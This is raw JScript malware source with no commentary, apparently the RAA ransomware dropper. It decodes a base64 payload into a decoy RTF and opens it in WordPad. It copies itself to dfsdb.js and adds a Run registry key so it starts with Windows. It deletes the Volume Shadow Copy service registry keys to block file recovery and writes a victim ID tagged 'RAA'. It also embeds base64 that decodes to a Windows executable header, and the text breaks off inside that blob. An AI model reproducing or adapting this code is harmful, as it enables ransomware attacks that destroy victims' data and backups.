0M0dUxpRENzU0REbitLSm9jNng0b21senJYaWlKNHVMaTRnenJYaWpLRE9wc08zejRQaWlhRWd6clhPbzg2bXo0WXVJTU81SU9LVmtPS0pwRDhnNHBXcXpySGlpYVhPdGM2VElNK0V6ckhpaUtuUGh1S0pwTTYwd3JIQ29DRE90ZUtJcWNLZzRvbWw0b0cvTGlERHVTRGlsSnpPdGM2VHpyWGlpYUhPcHVLSnBlS0J2eURQaHMrRElNS3g0b21senJYT3B1S0pwUzR1TGlERHVTRGlpS25paWFIT3RlS0ludUtJbXVLSmlNNnh6clFnenJYUGhpRE9waURpaWFIUGc4S3d6cWJpaWFYUGc4NjA0b0cvejRiT3RTRENzZUtJbnM2MXpyVE9xUzRnNHBTQXpySEN0YytESU9LSXFjNjF6cW5paWFIT3NjS3h6NGJQZzg2MElNNjE0b21sSU1LeHpwUE90YytEenBnZzRvbWh6NFBDc002bTRvaWV6clhDc2VLSnBjNm1MaUREdVNEaWxhbk90YytHejRQaWlZalBoczYxTENET3RlS0pwU0RPazg2eHdyRWd6NGJQZytLSmlNK0R6NERPdFNERG44NjF6clRpZ2IvQ3NNK0RJTUsxenFQT3NlS0pwZUtCdnlFZ3c3a2d3ckVnejRiUGc4K0F6clhPbzg2MXpwUE9zYytHenFiUGcrS0luaURPdGNPZnpyWGlpYUhPazg2eHpyVE9zU0RpbEt6T3NlS0pvYzZUenJIaWlhSE9zU0RpbGFmUGcrS0pwZUtKb2M2MXpwUFBoczZ4TGlEaWxMek9tQ0RDb01LeHo0Yk90U0REbitLSW1zNjB6clVnNG9tbHo0UGlpS25QZytLSm9lS0J2eXdnNG9tSTRvbWx6clVnenBQQ3NjK0RJT0tKaU9LSnBjNjFMZUtKcGM2MUlNK0V6NGJPc2VLV29PS0pwU0RPcGlEaWlKN1BnOEsxenFQaWlhUWc0b21sejRQaWlKNGd6cFBDc2MrRElPS0ppTStEejRET3RTM2lpYVhPdFNEaWlhWGlpYUhpaWFUQ3NjS2c0b21sSU02bUlPS0pwTTZwenJUT3RjK0d3cURpbHFEaWlhWENzY0tnSU9LSXFlS0pvYytEenFNZ3o0UFBneURPazg2MTRvaXA0b21oenJYQ3NjNng0b2llenFZc0lPS01vYzYxNG9tbHdxRGlpYVVnNG9tSTRvbWx6clV0NG9tbHpyVWd3ckhPcWVLSm9lS0ltdUtKcGVLQnZ5RE90ZUtKcFNEUGhzK0R6NE11SU9LVXJNNjF3ckRQZzg2MElNNjB6ckhPcUQ0b2lwenJIUGhpRGlsYVhpaWFIT3RlS01vTTZtNG9pZXpyWE9rODZtNG9tSUxDRGlpWWppaWFYT3RTRENzdUtKcGM2MUlPS0pwYzZ4enFuT3RjK0RQeURpbEt6T3RlS0pwU3dnenBQT3RlS0pwU3dnd3JIaWlKN090ZUtKcGVLSm9jNm00b21sejRNZ3o0Yk9zU0RDc3VLSnBlS0pwQ0RDdGMrRHo0YmlpSm5PcHMrRzRvbWtMQ0RpaVlqaWlhWE90U0RDc3VLSnBjNjFJT0tKcGM2eHpxbk90YytEUHlERHVTRGlsb0F1TGk0Z3dxQXVMaTRndzdrZ3o0VE9zYzYwejRQaWlLblBnK0tKcGM2eHpyUWd3NS9paUpyT3RNNjFJT0tWcE9LSnBjK0Q0b2lwenJIUGhpRGlsYVhpaWFIT3RlS01vTTZtNG9pZXpyWE9rODZtNG9tSUxpNHVJT0tWa002MUlNS2d6cFBPcHM2MHdySENvQ0RPdE02eHpxblBnODZZTGlERHVTRGlsYXZPc2NLd3pxbmlpYVFnenFuT3RlS01vTStENHBhZ0xDRENzYytEenBqaWlZak9zY0t4TENET3RjS3h6clhEbjgrRHo0YlBoczYxSU02bUlNNnB6ckhPcVNEaWlKN090Y0sxejRiT3RTRENzYzZwenJYaWlhSFBnOGMrRHpwZ2d6cVlnNG9pcHpyWE9vOCtHejRQQ3NTRFBnODZZSU0rR3pyRWc0b2llenJIT3RNK0R6NGJpZ2IvT3FjNjE0b2llSU1LeHo0UGlpYUhQZzhPZjRvbWh3cURQaHM2MTRvaWVJT0tJcWM2MXpxUFBoczYxd3JIUGd5RFBoTTZ4enFuT3NjK0V6ckhQaHMrK0tKcGM2eHpyVE9zU0RPdGMrR3pyRWd3ckVnenFuT3NjNnB6clhpbHFBdDRvbWx6clVnenJUUGc4K0F6cW5PdGVLSW51S0ltc0t4enJUUGc4K0d6NGJPdGVLV29DRE9wcytBNG9taHpxYk9rODYxd3JIaWlhWGlnYi9pbHFBdUlNTzVJT0tWcStLSnBjNjFMYzYxTGM2MVB5RER1U0RPazhLeDRvaXA0b21od3FEUGh1S0pwTTYwenJFZ3pxWWd6cFBpaUpyaWlLbmlpYUhDb09LSW5zNm16clRPc2NLeDRvRy9JTTZUSU02cDRvbWh6NFBDc2M2MHpySGlqS0VnNHBTc3pySGlpYUhPazg2eDRvbWh6ckVnNHBXbno0UGlpYVhpaWFIT3RjNlR6NGJPc1M0Z3c3a2c0cFdwenJIT3FjNnh3cUFnd3FBZ3pwUE9zZUtJbmlEaWlhWFBnK0tKcGNLZ1B5RGlsYXZpaWFYT3RTRE9rK0tJbWlEaWlLbk90YzZqNG9taHpySFBoT0tKcE9LSW5zK0R6cFBPc2M2MHpxWS9JT0tWb002eDRvbWg0b0cvd3FBZzRwV2x6cWJpaUo3T3RlS01vTStEejRQT2s4K0d6ckVzSU0rR3o0TWd6clhDdGM2bXpxUE9zYzZUd3JET3NjS2dJT0tKcGM2eHpxbk90YytBenJVZ3o0RFBocytEenBQT3NTd2c0b21senJIT3FTRE9waURQaE02eHpxUGlpYUhPdGNLMXpySE90TTZ4SU02VHdySENvQ0RpaUo3UGc4NjB6cW5PdGVLV29DRE9xYzYxejRiT2srS0pwTTYwNG9HL3dySE9wczZUejRiT3RlS1dvQ0RPbytLSm9jNjF3clhpZ2IvaWxxQXNJT0tKcGM2MTRvbUl6NGJPdFNET2t5RGlpS25paWFIT3B1S0lxYzZ4enFQT3FjK0RMQ0RPcGlET3RlS0pwY0t3enJIaWlhWFBodUtKcE02MHpySENzZUtCdnlEUGhzNnhJTUt4NG9pcHpxYlBoczZwNG9ta0lNNnA0b21oejRQQ3NjK0R6clF1SU1PNUlPS1dnQzR1TGlEQ29DRE9vK0tKcE9LSW5zNnh6clRPc1N3ZzRvbWx6ckhPcVNEUGhzNnh6cVBPdFN3Z3c3a2c0b2lwNG9taHpyWE90TStENG9pcHo0UGlpYVhPc2M2MHpyRWd6clhQaHM2eExDRENzZUtJbnM2MTRvbWw0b21od3FBZ3pwUE90U0RPazhLeHo0TWd6NERPdE02eHo0VE9zU0RQNHBTY3pyVE9zYzZUenJFZzRvaXB3cURpaWFYT3NjS2dEUXJpbGFmaWlhSFBnK0tJbnVLSnBNNmo0b21oNG9pYXpwZ2d6NFRpaUo3T3BzNllEUXBKRFFyaWxLek9zZUtKb2M2VHpySGlpYUhPc1NEaWxhZlBnK0tKcGVLSm9jNjF6cFBQaHM2eElPS0lxYzYxejRUT2s4NjF6NGJPcHM2MHpyRWd6cE1nenFuT3RjNjB6clhPcWM2MXpyVGlnYi9paVlqT3BzNnBJTTZtSU1PZjRvbWh6clhDc2M2bXpyVE9zY0t4NG9HL0lNNlRJTTZwNG9taHo0UENzYzYwenJFZzRvbWtJTTYxenFuUGhzNnhMaUREdVNEaWxhVENvTTZqNG9HLzRvbWx6NE1nejRUT284K0R3ckhpZ2I4c0lPS0luczYxd3FBZzRvaWV6cWJPdE02eHdxQXNJTU81SU9LSnBNNnB6ckhQaE02eHpyVE9zU0RPdGMrR3pyRWc0cFdnenJIaWlhSGlnYi9QZ3lEaWxhWE9wdUtJbnM2MTRveWd6NFBQZzg2VHo0YlBneURpaUo3UGc4S3g0b21senJVc0lPS0lxYzYxd3JIaWlhSFBnODZqenFZZ3pxbk90ZUtJbnMrR3pySGlpYVhpaUpvc0lPS0pwQ0REbjg2MXpyVGlnYi9Dc002MXo0RE90U0RPcWVLSm9lS0pwTStBenJUT3RjK0F6clVnd3JIaWlhWE90YzYwenJFdUlNTzVJT0tWcE9LSnBjKytESVNEaWxhbk9zZUtKb2MrRDRvbWw0b21rSU0rR3o0TWd6clhpaWFYT3FjNjB6ckhPbytLSW1zNlR6ckhpaWFYaWdiOHVJTU81SUUxaGFYTXNJR05vWlhKbElHVjBJR1Y0WTJWc2JHVnVkR1VnWVcxcFpTd2daR0Z1Y3lCeGRXVnNiR1VnYVc1eGRXbGxkSFZrWlM0dUxpQXhJTU81SU0rRXpySGlpSjdPcHVLSm9jNng0cGFnNG9pWnpxYmlpSjRnejRET3RjNjB6clhDc2M2MTRvaWVJTTZUenJYQ3NjNnB6clRPcHM2cHo0YmlpYVRPdENEaWxhVGlpYVhQZytLSXFjNnh6NFlnNHBXbDRvbWh6clhpaktET3B1S0luczYxenBQT3B1S0ppQzRndzdrZzRwU1U0b3loSVNEaWlLbk90UzNpaktEaWlhSE9zYytHdzdmaWlhVFBoTUt4enFuT3Bpd2c0b2lwenJVdDRveWc0b21oenJIUGhzTzM0b21rejRUQ3NjNnB6cVloSU9LVnBNK0R6cGppaVlqT3NjS3hJTTZUenFiT284K0d6clVzSU9LSmlPS0pwYzYxSU02VDRvaWF3ckhDc002bXpwZ2d3ckhPazgrRDRvbWxJU0REdVNEaWpLSE90TTYxNG9pcHo0YmlpYVRPdE02eElNNlRJTTYwenJIT284NjF3ckRPcGlEaWxhRE9zZUtKb2VLQnY4S2dJT0tWcGM2bTRvaWV6clhpaktEUGc4K0R6cFBQaHM2eExDRE9reURpaWFUaWlLbk90YytEejRiT3BzNm1JT0tJcWVLSm9jNm16NERPdGVLSnBjNjF6cFBPdE1LZ3dxRENzZUtCdnlEaWlLbk90Y0t4enJUaWlhVENzTTZ4NG9tbDRvRy9JT0tKb2M2eHo0VFBnTTYxenBQT3RlS0pvU0RpaUtuT3RTM2lqS0RpaWFIT3NjK0d3N2ZpaWFUUGhNS3h6cW5PcGk0ZzRwU3N6ckhpaWFIT2s4Nng0b21oenJFZzRwV256NFBpaWFYaWlhSE90YzZUejRiT3NTRGlpYVRDc2VLSnBjNnh6cFBPcHM2MHpySENzZUtCdnlEUGhzNnhJTWhzNnhJT0tVck02eDRvbWh6cFBPc2VLSm9lS0pwQ0RpbGFmUGcrS0pwZUtKb2M2MXpwUFBodUtKcEN3Z3c3a2c0b21senJIT3FTRE9rODZ4d3JFZzRwV216cWJQaE02eElNK0V6cFBPc2M2MHpyRXVJTU81SU9LVnFjNnh6cW5Pc2NLZ0lNK0Q0b2laejRNZzRwV216cWJQaE02eFB5RER1U0RpbEpRZ3pwUE90ZUtKcFNEQ3N1S0pwYzZ4SU1PZnpySGlpYUhpaUpyQ3NNK0d3cUFzSU1PNUlPS0pwTTZwenJIUGhNNnh6clRPc1NEaWlLbk9zYzYwNG9HLzRvbUl6cWJPcWM2MTRvaWVJT0tWb002eDRvbWg0b0cvd3FBZzRwV2x6cWJpaUo3T3RlS01vTStEejRQT2s4K0d6ckV1SU1PNUlPS1ZwYzZ4enFrZ3pwUE9zZUtJbmlET3RjK0d6ckVnNG9ta3dyWFBneURpbGFiT3BzK0V6clhPbUNEQ3NlS0pwYzZ4enJUT3NUOD1HNG9tazRwYWdJTTYxd3JIT3RjT2Z6clVnNG9tSXpySENzTTZwNG9ta0lNNnB6clhpaktEUGd5d2d6NGJPdFNEaWlhWE90ZUtKcGVLSmlNNnh3ckVnd3JYUGd5d2c0b2lwenJVZ3o0UFBneURpaUo3T3NjK0d6clhPazgrRHo0Yk9wdUtXb0N3Z3o0Yk9zZUtJcWVLSm9jNnh6cFBPcHM2MHdySENvQ0RPcVNEaWxhRE9zZUtKb2VLQnY4K0RJT0tWcGM2bTRvaWV6clhpaktEUGc4K0R6cFBQaHMrRExpRER1U0RpbEt6aWlKb3NJT0tJbnM2MXdxQWc0b2llenFiT3RNNnh3cUFzSU02MTRvbUl6NFBQaHVLQnZ5RE90YytFd3FERG44NjB6cVlnenFQT3NjNlR6NFBpaVlqT3NTd2d6cFBpaUpyaWlLblBnODZZNG9tbHo0TWc0b2lwenJYQ3NjNnB6clhpaWFIUGc4NllJTTZtSU1LeHpyWFBnT0tKb2MrRHpwamlpYVhQZzhLeDRvRy9MaUREdVNCTlpYSmphU3dndzdrZ3pwUFBoTUtnenJUT3NTRGlpWWpPc2NLd3pxbmlpYVFnNHBXZ3pySGlpYUhpZ2IvQ29DRGlsYVhPcHVLSW5zNjE0b3lnejRQUGc4NlR6NGJPc1NET3BpRE9rODZqNG9taDRvbWt6NEFnNG9pcDRvbWg0b2lhd3JIUGh1S0pwTTYwenJFZ3dySE90U0RDc2VLSW5zK0Q0b3loNG9ta0lNK0d6ckhPb3lEaWlhWFBnK0tJbml3ZzRvbUk0b21senJVZ3dySE9xYzZ4ejRUT3NjNjB6ckVnenJUT3NjNnB6NFBpbHFBZ2JXVnlZMmt1SU9LVmtNNjFMQ0RPazhLeDRvbWw0b21oejRQaWlhWE9wczZUSU0rQTRvbWh6clhQaE0rRzRvaWF6cGdnenBQUGhNK0F6clRDb002aklPS1VyTTZ4NG9taHpwUE9zZUtKb2VLSW1pRGlsYWZQZytLSnBlS0pvYzYxenBQUGh1S0ltaXdnenJYaWlhSE90Y09mejRQT3RNNnhJTTZtSU9LSXFjNjF3ckhpaWFYT3NjNlR6cWJPdE02eElPS0ppTTZ4d3JET3FlS0pwQ0RQaHM2eElNS3g0b21senJYT3RDNGd3N2tnNHBXbHo0UGlpYVhDb0N3Z3pxUE9zU0RpaWFUQ3RTRE9rK0tJbWlEUGhzK0RJTUt4ejRQaWlhSE9vODZtNG9tbHo0UENzZUtCdnlET3RNNm1QeUREdVNEaWlLbmlpYUhPdGM2MHo0UGlpS25QZ1xjZjVcZnMyMlxwYXINCn0NCgA=";
var clear_based_data = CryptoJS.enc.Base64.parse(based_data);
var string_of_data = clear_based_data.toString(CryptoJS.enc.Utf8);
var write_flow = new ActiveXObject('ADODB.Stream');
var obj_runer = new ActiveXObject("WScript.shell");
var path_save = obj_runer.SpecialFolders("MyDocuments");
path_save = path_save + "\\" + "doc_attached_" + separator;
write_flow.Type = 2;
write_flow.Charset = "437";
write_flow.Open();
write_flow.WriteText(string_of_data);
write_flow.SaveToFile(path_save);
write_flow.Close();
var run = "wordpad.exe " + "\"" + path_save + "\"";
obj_runer.Run(run);
return 0
}
var args = WScript.Arguments;
if (args.length == 0) {
WriteRtfFile()
} else {
null
}
function check_the_launch() {
var reg_rec;
var julia = new ActiveXObject("WScript.Shell");
try {
julia.RegRead("HKCU\\Hff\\Hff-fnl\\")
} catch (e) {
reg_rec = 0
}
var all_prcs = [];
var f_proc = "wscript.exe";
var cntr_prc = 0;
var e = new Enumerator(GetObject("winmgmts:").InstancesOf("Win32_process"));
for (; !e.atEnd(); e.moveNext()) {
var p = e.item();
all_prcs = all_prcs + p.Name + ","
}
all_prcs = all_prcs.split(",");
var pntr_prc = -1;
do {
pntr_prc += 1;
if (all_prcs[pntr_prc] == f_proc) {
cntr_prc = cntr_prc + 1
} else {
null
}
} while (pntr_prc < all_prcs.length);
if (cntr_prc < 2 && reg_rec == 0) {
var scr_name = WScript.ScriptFullName;
var a = new ActiveXObject("WScript.Shell");
var b = a.SpecialFolders("MyDocuments");
b = b + "\\";
var t = new ActiveXObject("ADODB.Stream");
t.Open;
t.Type = 2;
t.Charset = "437";
t.LoadFromFile(scr_name);
var body = t.ReadText();
var path2save = b + "dfsdb.js";
try {
t.SaveToFile(path2save);
t.Close();
b = path2save + " argument";
var kate = WScript.CreateObject("WScript.Shell");
kate.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", b, "REG_SZ");
SeriousMass_Main()
} catch (e) {
SeriousMass_Main()
}
} else {
null
}
return 0
}
check_the_launch();
function SeriousMass_Main() {
try {
SeriousMass()
} catch (e) {
RaaMain()
}
function SeriousMass() {
var HKLM = 0x80000002;
var path = "SYSTEM\\CurrentControlSet\\services\\VSS";
var rtn = regGetSubKeys(".", path);
var cntr = -1;
next: do {
cntr += 1;
if (regGetSubKeys(".", rtn[cntr]) != 1) {
var joke = regGetSubKeys(".", rtn[cntr]);
rtn = rtn.concat(joke)
} else {
continue next
}
} while (cntr < rtn.length - 1);
function DeleteValues() {
var izzo = new ActiveXObject("WScript.Shell");
var jiio = rtn.length;
do {
jiio -= 1;
rtn[jiio] = "HKLM\\" + rtn[jiio];
rtn[jiio] = rtn[jiio] + "\\";
var aa = izzo.RegDelete(rtn[jiio])
} while (jiio > 0);
var bb = izzo.RegDelete("HKLM\\SYSTEM\\CurrentControlSet\\services\\VSS\\");
return 0
}
DeleteValues();
function regGetSubKeys(strComputer, strRegPath) {
var aNames = null;
var objLocator = new ActiveXObject("WbemScripting.SWbemLocator");
var objService = objLocator.ConnectServer(strComputer, "root\\default");
var objReg = objService.Get("StdRegProv");
var objMethod = objReg.Methods_.Item("EnumKey");
var objInParam = objMethod.InParameters.SpawnInstance_();
objInParam.hDefKey = HKLM;
objInParam.sSubKeyName = strRegPath;
var objOutParam = objReg.ExecMethod_(objMethod.Name, objInParam);
switch (objOutParam.ReturnValue) {
case 0:
aNames = (objOutParam.sNames != null) ? objOutParam.sNames.toArray() : 1;
var pntr = -1;
do {
pntr += 1;
aNames[pntr] = strRegPath + "\\" + aNames[pntr]
} while (pntr < aNames.length - 1);
break;
case 2:
aNames = null;
break
}
return aNames
}
RaaMain();
return 0
}
return 0
}
function RaaMain() {
var idreader = new ActiveXObject("WScript.Shell");
try {
var curID = idreader.RegRead("HKCU\\Hff\\Ghsgd\\");
curID = curID.substr(0, 18);
var xaf = new ActiveXObject("Scriptlet.TypeLib");
var newID = xaf.GUID.substr(1, 36);
newID = newID.substr(18, 36);
var idnum = curID + newID + "DOUBLE";
var aaf = idnum + " - RAA"
} catch (e) {
var xaf = new ActiveXObject("Scriptlet.TypeLib");
var idnum = xaf.GUID.substr(1, 36);
idreader.RegWrite("HKCU\\Hff\\Ghsgd\\", idnum, "REG_SZ");
var aaf = idnum + " - RAA";
GetTheStat()
}
var dyn32 = "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